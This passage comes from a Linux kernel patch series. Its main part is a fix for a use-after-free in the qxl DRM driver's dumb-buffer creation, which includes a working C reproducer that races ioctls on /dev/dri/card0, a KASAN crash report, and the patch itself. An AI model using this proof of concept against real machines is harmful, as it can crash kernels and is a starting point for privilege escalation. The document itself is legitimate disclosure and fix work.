+			DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
+		mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
+			DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
 	}
 
 set_size:
diff --git a/include/drm/drm_edid.h b/include/drm/drm_edid.h
index 169755d3de19..48e93f909ef6 100644
--- a/include/drm/drm_edid.h
+++ b/include/drm/drm_edid.h
@@ -61,15 +61,9 @@ struct std_timing {
 	u8 vfreq_aspect;
 } __attribute__((packed));
 
-#define DRM_EDID_PT_SYNC_MASK              (3 << 3)
-# define DRM_EDID_PT_ANALOG_CSYNC          (0 << 3)
-# define DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC  (1 << 3)
-# define DRM_EDID_PT_DIGITAL_CSYNC         (2 << 3)
-#  define DRM_EDID_PT_CSYNC_ON_RGB         (1 << 1) /* analog csync only */
-#  define DRM_EDID_PT_CSYNC_SERRATE        (1 << 2)
-# define DRM_EDID_PT_DIGITAL_SEPARATE_SYNC (3 << 3)
-#  define DRM_EDID_PT_HSYNC_POSITIVE       (1 << 1) /* also digital csync */
-#  define DRM_EDID_PT_VSYNC_POSITIVE       (1 << 2)
+#define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1)
+#define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2)
+#define DRM_EDID_PT_SEPARATE_SYNC  (3 << 3)
 #define DRM_EDID_PT_STEREO         (1 << 5)
 #define DRM_EDID_PT_INTERLACED     (1 << 7)
 

From c611589b4259ed63b9b77be6872b1ce07ec0ac16 Mon Sep 17 00:00:00 2001
From: Wander Lairson Costa <wander@redhat.com>
Date: Mon, 14 Aug 2023 13:51:19 -0300
Subject: [PATCH 19/19] drm/qxl: fix UAF on handle creation

qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
	int ret;
	arg.width = arg.height = 0x20;
	arg.bpp = 32;
	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
	if(ret)
	{
		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
		exit(-1);
	}
	gem_close(arg.handle);
	while(1) {
		struct drm_mode_create_dumb args = {0};
		args.width = args.height = 0x20;
		args.bpp = 32;
		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
		if (ret) {
			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
			exit(-1);
		}

		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
		gem_close(args.handle);
	}
	return NULL;
}

void gem_close(int handle)
{
	struct drm_gem_close args;
	args.handle = handle;
	int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
	if (!ret)
		printf("gem close handle %d\n", args.handle);
}

int main(void)
{
	dri_fd= open("/dev/dri/card0", O_RDWR);
	printf("fd:%d\n", dri_fd);

	if(dri_fd == -1)
		return -1;

	pthread_t tid1;

	if(pthread_create(&tid1,NULL,trigger,NULL)){
		perror("[*] thread_create tid1\n");
		return -1;
	}
	while (1)
	{
		gem_close(arg.handle);
	}
	return 0;
}

This is a KASAN report:

==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515

CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48

RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>

Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)

The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint

Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.

The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).

Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
Cc: stable@vger.kernel.org
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
---
 drivers/gpu/drm/qxl/qxl_drv.h   |  2 +-
 drivers/gpu/drm/qxl/qxl_dumb.c  |  5 ++++-
 drivers/gpu/drm/qxl/qxl_gem.c   | 25 +++++++++++++++++--------
 drivers/gpu/drm/qxl/qxl_ioctl.c |  6 ++----
 4 files changed, 24 insertions(+), 14 deletions(-)

diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h
index ea993d7162e8..307a890fde13 100644
--- a/drivers/gpu/drm/qxl/qxl_drv.h
+++ b/drivers/gpu/drm/qxl/qxl_drv.h
@@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
 				      u32 domain,
 				      size_t size,
 				      struct qxl_surface *surf,
-				      struct qxl_bo **qobj,
+				      struct drm_gem_object **gobj,
 				      uint32_t *handle);
 void qxl_gem_object_free(struct drm_gem_object *gobj);
 int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv);
diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c
index d636ba685451..17df5c7ccf69 100644
--- a/drivers/gpu/drm/qxl/qxl_dumb.c
+++ b/drivers/gpu/drm/qxl/qxl_dumb.c
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
 {
 	struct qxl_device *qdev = to_qxl(dev);
 	struct qxl_bo *qobj;
+	struct drm_gem_object *gobj;
 	uint32_t handle;
 	int r;
 	struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
 
 	r = qxl_gem_object_create_with_handle(qdev, file_priv,
 					      QXL_GEM_DOMAIN_CPU,
-					      args->size, &surf, &qobj,
+					      args->size, &surf, &gobj,
 					      &handle);
 	if (r)
 		return r;
+	qobj = gem_to_qxl_bo(gobj);
 	qobj->is_dumb = true;
+	drm_gem_object_put(gobj);
 	args->pitch = pitch;
 	args->handle = handle;
 	return 0;
diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c
index a08da0bd9098..fc5e3763c359 100644
--- a/drivers/gpu/drm/qxl/qxl_gem.c
+++ b/drivers/gpu/drm/qxl/qxl_gem.c
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size,
 	return 0;
 }
 
+/*
+ * If the caller passed a valid gobj pointer, it is responsible to call
+ * drm_gem_object_put() when it no longer needs to acess the object.
+ *
+ * If gobj is NULL, it is handled internally.
+ */
 int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
 				      struct drm_file *file_priv,
 				      u32 domain,
 				      size_t size,
 				      struct qxl_surface *surf,
-				      struct qxl_bo **qobj,
+				      struct drm_gem_object **gobj,
 				      uint32_t *handle)
 {
-	struct drm_gem_object *gobj;
 	int r;
+	struct drm_gem_object *local_gobj;
 
-	BUG_ON(!qobj);
 	BUG_ON(!handle);
 
 	r = qxl_gem_object_create(qdev, size, 0,
 				  domain,
 				  false, false, surf,
-				  &gobj);
+				  &local_gobj);
 	if (r)
 		return -ENOMEM;
-	r = drm_gem_handle_create(file_priv, gobj, handle);
+	r = drm_gem_handle_create(file_priv, local_gobj, handle);
 	if (r)
 		return r;
-	/* drop reference from allocate - handle holds it now */
-	*qobj = gem_to_qxl_bo(gobj);
-	drm_gem_object_put(gobj);
+
+	if (gobj)
+		*gobj = local_gobj;
+	else
+		/* drop reference from allocate - handle holds it now */
+		drm_gem_object_put(local_gobj);
+
 	return 0;
 }
 
diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c
index 30f58b21372a..dd0f834d881c 100644
--- a/drivers/gpu/drm/qxl/qxl_ioctl.c
+++ b/drivers/gpu/drm/qxl/qxl_ioctl.c
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
 	struct qxl_device *qdev = to_qxl(dev);
 	struct drm_qxl_alloc *qxl_alloc = data;
 	int ret;
-	struct qxl_bo *qobj;
 	uint32_t handle;
 	u32 domain = QXL_GEM_DOMAIN_VRAM;
 
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
 						domain,
 						qxl_alloc->size,
 						NULL,
-						&qobj, &handle);
+						NULL, &handle);
 	if (ret) {
 		DRM_ERROR("%s: failed to create gem ret=%d\n",
 			  __func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
 {
 	struct qxl_device *qdev = to_qxl(dev);
 	struct drm_qxl_alloc_surf *param = data;
-	struct qxl_bo *qobj;
 	int handle;
 	int ret;
 	int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
 						QXL_GEM_DOMAIN_SURFACE,
 						size,
 						&surf,
-						&qobj, &handle);
+						NULL, &handle);
 	if (ret) {
 		DRM_ERROR("%s: failed to create gem ret=%d\n",
 			  __func__, ret);